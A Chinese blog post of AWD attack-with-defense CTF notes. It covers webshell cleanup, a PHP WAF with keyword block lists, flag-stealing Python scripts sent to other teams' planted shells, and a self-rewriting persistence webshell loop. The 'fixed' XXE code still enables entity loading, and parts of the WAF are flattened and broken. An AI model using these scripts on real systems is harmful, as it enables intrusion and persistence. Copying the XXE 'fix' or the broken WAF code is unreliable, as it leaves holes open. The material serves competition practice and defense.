AWD学习总结 (会持续更新)

防御

一、登录ssh服务器

所有人都要登上去。这里以我自己的服务器为例子。一般使用默认的ssh登录方式,我个人服务器ip是120.46.41.173使用工具是xshellxftp

点击新建连接。

AWD学习总结 (会持续更新)_第1张图片

输入ip。默认ssh端口22不用改就能连接。

AWD学习总结 (会持续更新)_第2张图片

然后点击侧边栏,输入账号密码登录。(账号密码主办方会给)

AWD学习总结 (会持续更新)_第3张图片

登录成功后输入ls命令(查看当前目录下文件),有回显就是链接成功了。

AWD学习总结 (会持续更新)_第4张图片

xshell和xftp配套,点击直接跳转,不用再次账号密码登录。

AWD学习总结 (会持续更新)_第5张图片

ssh登录必须尽快完成,首轮防御只给10分钟,登录只能花两分钟,要不然来不及防御。

二、下载、备份文件

只需下载、备份web目录如/app/目录。

备份完成记得发队伍群里,备注好是初始的源码。

三、 webshell查杀

用河马webshell查杀等工具 ,查出最基本的一句话木马。

然后群里上报含shell的文件路径,然后注释掉shell就行。

img
比如上图,可以看到,非常经典的一句话木马,这些木马一般是主办方提前留下的,所以这些文件里面的shell一定要注释掉。全部shell注释完了,备份文件,发群里,然后上传到服务器替换原先文件。

四、编写自动化攻击脚本

import requests


def get_flag():
    data = {
        'shell':'cat /flag'
    }
    for i in range(8802,8804):
        url = 'http://192.168.109.128:'+str(i)+'/footer.php'
        result=requests.post(url,data=data).content.decode('utf-8')
        print(result)
        with open(r'flag.txt','a+') as f:
            f.write(result+'\n')
            f.close()

def tijiao_flag():
    for flag in open('flag.txt'):
        flag=flag.replace('\n','')
        url='http://192.168.109.128:8080/flag_file.php?token=team1&flag='+flag
        requests.get(url)

if __name__ == '__main__':
    get_flag()
    tijiao_flag()

针对ISCC-2023:

import requests

def get_flag():
    data = {
        '【参数名字】':'hereiam -t 【队伍签名】'
    }
    for i in range(9000,9030):
        url = 'http://120.46.41.173:'+str(i)+'【路由】'

        #requests.post(url , data=data)
        requests.get(url, params=data)


if __name__ == '__main__':
    get_flag()

五、部署 WAF

如果全是明显木马,直接注释,此步骤跳过。

先上通防WAF:

waf.php


header('Content-Type: text/html; charset=utf-8');
error_reporting(0);

define('LOG_FILENAME', 'Attack_Big_information.txt');
function waf() {
    if (!function_exists('getallheaders')) {
        function getallheaders() {
            foreach ($_SERVER as $name => $value) {
                if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $value;
            }
            return $headers;
        }
    }
    $get = $_GET;
    $post = $_POST;
    $cookie = $_COOKIE;
    $header = getallheaders();
    $files = $_FILES;
    $ip = $_SERVER["REMOTE_ADDR"];
    $method = $_SERVER['REQUEST_METHOD'];
    $filepath = $_SERVER["SCRIPT_NAME"];
    foreach ($_FILES as $key => $value) {
        $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
        file_put_contents($_FILES[$key]['tmp_name'], "virink");
    }
    unset($header['Accept']); //fix a bug
    $input = array(
        "Get" => $get,
        "Post" => $post,
        "Cookie" => $cookie,
        "File" => $files,
        "Header" => $header
    );
    $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
    $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
    $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
    $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
    $vpattern = explode("|", $pattern);
    $bool = false;
    foreach ($input as $k => $v) {
        foreach ($vpattern as $value) {
            foreach ($v as $kk => $vv) {
                if (preg_match("/$value/i", $vv)) {
                    $bool = true;
                    logging($input);
                    break;
                }
            }
            if ($bool) break;
        }
        if ($bool) break;
    }
}
function logging($var) {
	date_default_timezone_set("Asia/Shanghai");
	$time=date("Y-m-d H:i:s");
    file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
}
waf();


class waf{
	
	private $request_url;
	private $request_method;
	private $request_data;
	private $headers;
	private $raw;

	
// 自动部署构造方法
function __construct(){
	//echo "class waf construct execute..
"; //debug code
$this->write_access_log_probably(); //记录访问纪录 类似于日志 $this->write_access_logs_detailed(); //纪录详细访问请求包 //echo "class waf construct execute..2
";
if($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET'){ write_attack_log("method"); } //echo "class waf construct execute..3
";
$this->request_url= $_SERVER['REQUEST_URI']; //获取url来进行检测 $this->request_data = file_get_contents('php://input'); //获取post $this->headers =$this->get_all_headers(); //获取header //echo "class waf construct execute half..
";
$this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_url)))); //对URL进行检测,出现问题则拦截并记录 $this->filter_attack_keyword($this->filter_invisible(urldecode($this->filter_0x25($this->request_data)))); //对POST的内容进行检测,出现问题拦截并记录 //echo "class waf construct execute..4
";
$this->detect_upload(); $this->gloabel_attack_detect(); //echo "class waf construct execute success..
";
} //全局输入检测 基本的url和post检测过了则对所有输入进行简单过滤 function gloabel_attack_detect(){ foreach ($_GET as $key => $value) { $_GET[$key] = $this->filter_dangerous_words($value); } foreach ($_POST as $key => $value) { $_POST[$key] = $this->filter_dangerous_words($value); } foreach ($headers as $key => $value) { $this->filter_attack_keyword($this->filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录 $_SERVER[$key] = $this->filter_dangerous_words($value); //简单过滤 } } //拦截所有的文件上传 并记录上传操作 并将上传文件保存至系统tmp文件夹下 function detect_upload(){ foreach ($_FILES as $key => $value) { if($_FILES[$key]['size']>1){ echo "小伙子你不讲武德啊,你这上传的是啥?????你很危险啊!(╯‵□′)╯︵┻━┻"; $this->write_attack_log("Upload"); //move_uploaded_file($_FILES[$key]["tmp_name"],'/tmp/uoloadfiles/'.$_FILES[$key]["name"]); exit(0); } } } //记录每次大概访问记录,类似日志,以便在详细记录中查找 function write_access_log_probably() { $raw = date("Y/m/d H:i:s").' '; $raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['REMOTE_ADDR'].' '; $raw .= 'POST: '.file_get_contents('php://input')."\r\n"; $ffff = fopen('all_requests.txt', 'a'); //日志路径 fwrite($ffff, $raw); fclose($ffff); } //记录详细的访问头记录,包括GET POST http头 以获取通防waf未检测到的攻击payload function write_access_logs_detailed(){ $data = date("Y/m/d H:i:s")." -- "."\r\n".$this->get_http_raws()."\r\n\r\n"; $ffff = fopen('all_requests_detail.txt', 'a'); //日志路径 fwrite($ffff, urldecode($data)); fclose($ffff); } /* 获取http请求头并写入数组 */ function get_all_headers() { $headers = array(); foreach($_SERVER as $key => $value) { if(substr($key, 0, 5) === 'HTTP_') { $headers[$key] = $value; } } return $headers; } /* 检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改 */ function filter_invisible($str){ for($i=0;$i<strlen($str);$i++){ $ascii = ord($str[$i]); if($ascii>126 || $ascii < 32){ //有中文这里要修改 if(!in_array($ascii, array(9,10,13))){ write_attack_log("interrupt"); }else{ $str = str_replace($ascii, " ", $str); } } } $str = str_replace(array("`","|",";",","), " ", $str); return $str; } /* 检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25 */ function filter_0x25($str){ if(strpos($str,"%25") !== false){ $str = str_replace("%25", "%", $str); return filter_0x25($str); }else{ return $str; } } /* 攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b */ function filter_attack_keyword($str){ if(preg_match("/select\b|insert\b|update\b|drop\b|and\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $str)){ $this->write_attack_log("sqli"); } //文件包含的检测 if(substr_count($str,$_SERVER['PHP_SELF']) < 2){ $tmp = str_replace($_SERVER['PHP_SELF'], "", $str); if(preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)){ $this->write_attack_log("LFI/LFR");; } }else{ $this->write_attack_log("LFI/LFR"); } if(preg_match("/base64_decode|eval\(|assert\(|file_put_contents|fwrite|curl|system|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restorei/i", $str)){ $this->write_attack_log("EXEC"); } if(preg_match("/flag/i", $str)){ $this->write_attack_log("GETFLAG"); } } /* 简单将易出现问题的字符替换成中文 */ function filter_dangerous_words($str){ $str = str_replace("'", "‘", $str); $str = str_replace("\"", "“", $str); $str = str_replace("<", "《", $str); $str = str_replace(">", "》", $str); return $str; } /* 获取http的请求包,意义在于获取别人的攻击payload */ function get_http_raws() { $raw = ''; $raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n"; foreach($_SERVER as $key => $value) { if(substr($key, 0, 5) === 'HTTP_') { $key = substr($key, 5); $key = str_replace('_', '-', $key); $raw .= $key.': '.$value."\r\n"; } } $raw .= "\r\n"; $raw .= file_get_contents('php://input'); return $raw; } /* 这里拦截并记录攻击payload 第一个参数为记录类型 第二个参数是日志内容 使用时直接调用函数 */ function write_attack_log($alert){ $data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".$this->get_http_raws()."\r\n\r\n"; $ffff = fopen('attack_detected_log.txt', 'a'); //日志路径 fwrite($ffff, $data); fclose($ffff); if($alert == 'getflag'){ echo "flag{erxianqiao_NB_NO1_c001}"; //如果请求带有flag关键字,显示假的flag。(2333333) }else{ sleep(3); //拦截前延时3秒 } exit(0); } } $waf = new waf(); ?>

然后针对性正则过滤:

$str1 ="";
foreach ($_POST as $key => $value) {
    $str1.=$key;
    $str1.=$value;
}
$str2 ="";
foreach ($_GET as $key => $value) {
    $str2.=$key;
    $str2.=$value;
}
if (preg_match("/system|tail|flag|\'|\"|\<|\{|\}|exec|base64|phpinfo|<\?|\"/i", $str1)||preg_match("/system|tail|flag|\'|\"|\<|\{|\}|exec|base64|phpinfo|<\?|\"/i", $str2)) {
    die('no!');
}
//RCE
function wafrce($str){
	return !preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $str);
}

//以下这个可以用短标签+反引号+通配符绕过过滤
preg_match("/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i", $str);


//SQL
function wafsqli($str){
	return !preg_match("/select|and|\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleexml|extractvalue|+|regex|copy|read|file|create|grand|dir|insert|link|server|drop|=|>|<|;|\"|\'|\^|\|/i", $str);
}
if (preg_match("/select|flag|union|\\\\$|\'|\"|--|#|\\0|into|alert|img|prompt|set|/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark|regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|/is",$s)||strlen($s)>50){
    header("Location: /");
    die();
  }


//XSS
function wafxss($str){
	return !preg_match("/\'|http|\"|\`|cookie|<|>|script/i", $str);
}
// fix后(XXE)
<?php
    function is_user_exists($username, $user_info_dir): bool
    {
        $dirs = array_filter(glob($user_info_dir . '/*'), 'is_dir');
        foreach ($dirs as $dir) {
            $dirName = basename($dir);
            if($dirName === $username) return true;

        }
        return false;
    }

    function register_user($username, $user_info_dir, $user_xml){
        $r = "/php|read|flag/i";
        $username = preg_replace($r,"",$username);
        $user_dir_name = $user_info_dir.$username;
        mkdir($user_dir_name, 0777);
        file_put_contents($user_dir_name.'/'.$username.".xml", $user_xml);
    }

    function get_user_record($username, $user_info_dir)
    {
        $r = "/php|read|flag/i";
        $username = preg_replace($r,"",$username);
        $user_info_xml = file_get_contents($user_info_dir.$username.'/'.$username.'.xml');
        $dom = new DOMDocument();
        $dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);
        return simplexml_import_dom($dom);
    }

六、开启监听脚本与日志记录文件

如果文件丢失,将会直接扣分。保护自己文件的同时,删除他人文件也是一种攻击面。

脚本见py2监听。需要在vps上面有Python2环境。

apt install python2
python2 ./py2_lin.py

AWD学习总结 (会持续更新)_第6张图片


日志:

/var/log/nginx/    #默认Nginx日志目录
/var/log/apache/   #默认Apache日志目录
/var/log/apache2/  #默认Apache日志目录
/usr/local/tomcat/logs #Tomcat日志目录
tail -f xxx.log   #实时刷新滚动日志文件

日志记录文件如下:


也可以用现成exe,叫做Web日志安全分析工具+v2.0。但是不知道怎么运行,网上给的办法:

apt intall wine-stable
wine /xxx/xxx.exe

七、链接数据库、修改数据库密码

ls -al
ls -al /app/admin
#跳转到/app/admin目录并且查看不可见文件

mysql -u admin -p
#-u:输入用户名    -p:输入密码

xshell里面数据库相关操作:
show databases;
show tables from tcho;
select * from type_users

use tcho

select * from type_users;

update type_users set password = "e10adc3949ba59abbe56e057f20f883e";
#不可逆哈希加密(md5)

解决不死马

1、ps auxww|grep shell.php找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
2、重启php等web服务
3、用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值
4、创建一个和不死马生成的马一样名字的文件夹

方法一:杀进程:


while (1) {
$pid=1234;
@unlink('.index.php');
exec('kill -9 $pid');
}
?>

方法三:竞争写入:

 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'x.php';
$code = 'fuck';
while (1){
    file_put_contents($file,$code);
    usleep(1000);
}
?>

进攻

扫描出所有选手的位置:

拿burp爆破扫。也可以自己写脚本扫。线下经历发现貌似fscan比nmap好用。

不死马:

MD5是Jay17

 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '';
while (1){
    file_put_contents($file,$code);
    usleep(5000);
}
?>

搅屎棍发包:

见搅屎棍py脚本

Trick:

  • 使用 find / -name *flag*grep -rn "flag" * 类似的语句可以快速发现 flag 所在的地方,方便后续拿分。
  • 部署流量监控脚本或开启服务器日志记录。目的主要是为了进行流量回放,看其它大佬如何用我们没发现的漏洞来打我们的机子,抓取到之后把看不懂的流量直接回放到别的机子去,这里还得提到,我们自己在攻击的时候,也要试着混淆一下自己的攻击流量,不能轻易被别人利用。

你可能感兴趣的:(CTF-web,学习,web安全,AWD,SSH,服务器,网络安全对抗技术)